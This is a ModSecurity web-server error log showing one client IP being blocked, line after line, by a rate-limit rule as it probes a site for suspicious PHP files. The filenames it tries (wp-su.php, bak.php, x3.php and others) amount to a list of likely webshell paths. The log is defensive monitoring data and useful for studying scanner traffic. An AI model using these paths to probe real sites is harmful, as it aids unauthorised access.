[Sat Dec 13 00:04:27.007269 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:21026] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sec.php"] [unique_id "aTw9C88TRgSGOeWqEhcVJAAAABY"]
[Sat Dec 13 00:04:27.219119 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:21339] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sec.php"] [unique_id "aTw9C88TRgSGOeWqEhcVJQAAAA4"]
[Sat Dec 13 00:04:27.466593 2025] [:error] [pid 26607:tid 26624] [client 4.193.186.94:35920] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aTw9C8b_b0tOEWTL2KnF7wAAAM8"]
[Sat Dec 13 00:04:27.781301 2025] [:error] [pid 26520:tid 26567] [client 4.193.186.94:20952] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aTw9C0G_frlY5vNXu_AgTQAAAE8"]
[Sat Dec 13 00:04:28.029926 2025] [:error] [pid 60649:tid 60675] [client 4.193.186.94:20974] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aTw9DFOcUGKU3sgfHP8iTQAAARc"]
[Sat Dec 13 00:04:28.334789 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:20973] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aTw9DFOcUGKU3sgfHP8iTgAAAQo"]
[Sat Dec 13 00:04:28.639913 2025] [:error] [pid 26520:tid 26573] [client 4.193.186.94:21369] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bak.php"] [unique_id "aTw9DEG_frlY5vNXu_AgTgAAAFU"]
[Sat Dec 13 00:04:28.932569 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:20969] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bak.php"] [unique_id "aTw9DJdhcAPU617AKTDD4gAAAIg"]
[Sat Dec 13 00:04:29.168477 2025] [:error] [pid 60649:tid 60659] [client 4.193.186.94:35946] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bak.php"] [unique_id "aTw9DVOcUGKU3sgfHP8iUAAAAQc"]
[Sat Dec 13 00:04:29.480889 2025] [:error] [pid 26607:tid 26628] [client 4.193.186.94:21043] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bak.php"] [unique_id "aTw9Dcb_b0tOEWTL2KnF8QAAANM"]
[Sat Dec 13 00:04:29.665870 2025] [:error] [pid 26520:tid 26566] [client 4.193.186.94:21370] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/JPG.php"] [unique_id "aTw9DUG_frlY5vNXu_AgTwAAAE4"]
[Sat Dec 13 00:04:29.936489 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21321] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/JPG.php"] [unique_id "aTw9Dcb_b0tOEWTL2KnF8gAAAM0"]
[Sat Dec 13 00:04:30.182217 2025] [:error] [pid 27950:tid 27965] [client 4.193.186.94:20986] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/JPG.php"] [unique_id "aTw9DoVLRvkrdsSc1F3NHQAAAU0"]
[Sat Dec 13 00:04:30.491778 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:21046] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/JPG.php"] [unique_id "aTw9DlOcUGKU3sgfHP8iUQAAARE"]
[Sat Dec 13 00:04:30.716056 2025] [:error] [pid 26520:tid 26561] [client 4.193.186.94:20961] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/te.php"] [unique_id "aTw9DkG_frlY5vNXu_AgVAAAAEk"]
[Sat Dec 13 00:04:31.213076 2025] [:error] [pid 60649:tid 60673] [client 4.193.186.94:21349] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/te.php"] [unique_id "aTw9D1OcUGKU3sgfHP8iUwAAARU"]
[Sat Dec 13 00:04:31.475205 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:21045] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/te.php"] [unique_id "aTw9D5dhcAPU617AKTDD5AAAAI4"]
[Sat Dec 13 00:04:31.689139 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:20978] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/te.php"] [unique_id "aTw9D5dhcAPU617AKTDD5gAAAJU"]
[Sat Dec 13 00:04:32.039642 2025] [:error] [pid 60649:tid 60657] [client 4.193.186.94:21005] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/poj.php"] [unique_id "aTw9EFOcUGKU3sgfHP8iVQAAAQU"]
[Sat Dec 13 00:04:32.249852 2025] [:error] [pid 27950:tid 27959] [client 4.193.186.94:20889] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/poj.php"] [unique_id "aTw9EIVLRvkrdsSc1F3NHwAAAUc"]
[Sat Dec 13 00:04:32.485810 2025] [:error] [pid 27950:tid 27960] [client 4.193.186.94:35870] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/poj.php"] [unique_id "aTw9EIVLRvkrdsSc1F3NIAAAAUg"]
[Sat Dec 13 00:04:32.740649 2025] [:error] [pid 60649:tid 60661] [client 4.193.186.94:21356] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/poj.php"] [unique_id "aTw9EFOcUGKU3sgfHP8iVgAAAQk"]
[Sat Dec 13 00:04:33.014054 2025] [:error] [pid 27950:tid 27972] [client 4.193.186.94:20892] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gi.php"] [unique_id "aTw9EYVLRvkrdsSc1F3NIQAAAVQ"]
[Sat Dec 13 00:04:33.309386 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:20899] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gi.php"] [unique_id "aTw9EYVLRvkrdsSc1F3NIgAAAVc"]
[Sat Dec 13 00:04:33.556108 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:20958] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gi.php"] [unique_id "aTw9Ec8TRgSGOeWqEhcVKgAAABA"]
[Sat Dec 13 00:04:33.830424 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:35965] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gi.php"] [unique_id "aTw9EYVLRvkrdsSc1F3NIwAAAUs"]
[Sat Dec 13 00:04:34.082331 2025] [:error] [pid 26519:tid 26531] [client 4.193.186.94:21343] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile1.php"] [unique_id "aTw9Es8TRgSGOeWqEhcVKwAAAAg"]
[Sat Dec 13 00:04:34.339619 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:20938] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile1.php"] [unique_id "aTw9EoVLRvkrdsSc1F3NJQAAAVM"]
[Sat Dec 13 00:04:34.694025 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:20828] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile1.php"] [unique_id "aTw9EpdhcAPU617AKTDD7AAAAJA"]
[Sat Dec 13 00:04:35.060137 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:21025] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile1.php"] [unique_id "aTw9E1ObDQlftFDyGaxGaAAAAZQ"]
[Sat Dec 13 00:04:35.268489 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:35896] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aTw9E4VLRvkrdsSc1F3NJwAAAUY"]
[Sat Dec 13 00:04:35.529621 2025] [:error] [pid 27950:tid 27952] [client 4.193.186.94:20940] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aTw9E4VLRvkrdsSc1F3NKAAAAUA"]
[Sat Dec 13 00:04:35.780748 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:21362] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aTw9E5dhcAPU617AKTDD7QAAAI8"]
[Sat Dec 13 00:04:35.993437 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:20871] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aTw9E4VLRvkrdsSc1F3NKQAAAVg"]
[Sat Dec 13 00:04:36.191005 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:20872] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2%25.php"] [unique_id "aTw9FJdhcAPU617AKTDD7gAAAI0"]
[Sat Dec 13 00:04:36.503737 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:21031] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2%25.php"] [unique_id "aTw9FFObDQlftFDyGaxGawAAAYE"]
[Sat Dec 13 00:04:36.684902 2025] [:error] [pid 60649:tid 60675] [client 4.193.186.94:20883] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2%25.php"] [unique_id "aTw9FFOcUGKU3sgfHP8iWgAAARc"]
[Sat Dec 13 00:04:36.924383 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:21038] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2%25.php"] [unique_id "aTw9FFOcUGKU3sgfHP8iWwAAAQo"]
[Sat Dec 13 00:04:37.253100 2025] [:error] [pid 60649:tid 60664] [client 4.193.186.94:20951] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aTw9FVOcUGKU3sgfHP8iXAAAAQw"]
[Sat Dec 13 00:04:37.470625 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:20905] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aTw9FVObDQlftFDyGaxGbAAAAZM"]
[Sat Dec 13 00:04:37.792702 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:21035] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aTw9FZdhcAPU617AKTDD8AAAAJU"]
[Sat Dec 13 00:04:38.000521 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:21027] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aTw9FZdhcAPU617AKTDD8gAAAJY"]
[Sat Dec 13 00:04:38.297284 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:35902] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/faq.php"] [unique_id "aTw9FkG_frlY5vNXu_AgVwAAAFg"]
[Sat Dec 13 00:04:38.507631 2025] [:error] [pid 26520:tid 26559] [client 4.193.186.94:21014] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/faq.php"] [unique_id "aTw9FkG_frlY5vNXu_AgWAAAAEc"]
[Sat Dec 13 00:04:39.003208 2025] [:error] [pid 26520:tid 26566] [client 4.193.186.94:21360] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/faq.php"] [unique_id "aTw9F0G_frlY5vNXu_AgWwAAAE4"]
[Sat Dec 13 00:04:39.230787 2025] [:error] [pid 26520:tid 26557] [client 4.193.186.94:20968] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/faq.php"] [unique_id "aTw9F0G_frlY5vNXu_AgXAAAAEU"]
[Sat Dec 13 00:04:39.495891 2025] [:error] [pid 26520:tid 26556] [client 4.193.186.94:20966] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x3.php"] [unique_id "aTw9F0G_frlY5vNXu_AgXQAAAEQ"]
[Sat Dec 13 00:04:39.677329 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:20989] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x3.php"] [unique_id "aTw9F5dhcAPU617AKTDD9wAAAIE"]
[Sat Dec 13 00:04:39.939036 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:20927] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x3.php"] [unique_id "aTw9F5dhcAPU617AKTDD-AAAAJg"]
[Sat Dec 13 00:04:40.188027 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:20884] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x3.php"] [unique_id "aTw9GJdhcAPU617AKTDD-gAAAIs"]
[Sat Dec 13 00:04:40.378984 2025] [:error] [pid 55760:tid 55771] [client 4.193.186.94:20972] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nbr.php"] [unique_id "aTw9GFObDQlftFDyGaxGbgAAAYk"]
[Sat Dec 13 00:04:40.750744 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:20877] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nbr.php"] [unique_id "aTw9GM8TRgSGOeWqEhcVLgAAABY"]
[Sat Dec 13 00:04:41.034265 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:20753] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nbr.php"] [unique_id "aTw9GZdhcAPU617AKTDD_gAAAI0"]
[Sat Dec 13 00:04:41.274260 2025] [:error] [pid 26607:tid 26628] [client 4.193.186.94:20981] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nbr.php"] [unique_id "aTw9Gcb_b0tOEWTL2KnF_AAAANM"]
[Sat Dec 13 00:04:41.489160 2025] [:error] [pid 27950:tid 27957] [client 4.193.186.94:20929] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lov.php"] [unique_id "aTw9GYVLRvkrdsSc1F3NKgAAAUU"]
[Sat Dec 13 00:04:41.705983 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:21010] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lov.php"] [unique_id "aTw9GZdhcAPU617AKTDEAQAAAIU"]
